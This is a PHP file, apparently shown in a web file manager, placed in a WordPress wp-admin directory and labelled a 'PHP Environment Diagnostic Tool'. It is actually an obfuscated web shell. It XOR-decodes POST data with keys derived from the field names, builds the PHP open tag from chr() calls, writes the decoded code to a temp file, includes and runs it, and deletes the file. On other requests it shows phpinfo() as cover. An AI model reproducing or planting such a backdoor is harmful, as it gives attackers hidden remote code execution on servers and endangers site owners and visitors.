Viewing File: /home/cienp/public_html/inct-inovamed/wp-admin/admin-ajax-handler-custom.php
<?php
/**
* PHP Environment Diagnostic Tool
* Version: 2.1.3
*/
error_reporting(0);
function check_hash($str, $key) {
for ($i = 0, $out = '', $len = strlen($key); $i < strlen($str); $i++)
$out .= $str[$i] ^ $key[$i % $len];
return $out;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
foreach ($_POST as $name => $value) {
$salt = substr(md5($name), 0, 8);
$token = substr(sha1($name), 0, 8);
$data = check_hash(base64_decode($value), $salt);
if (substr($data, -32) === md5($token)) {
$GLOBALS['_k'] = $token;
$tmp = tempnam(sys_get_temp_dir(), 'php');
$tag = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
@file_put_contents($tmp, $tag.check_hash(base64_decode(substr($data, 0, -32)), $token));
@include($tmp);
@unlink($tmp);
break;
}
}
} else {
phpinfo();
}
Back to Directory
File Manager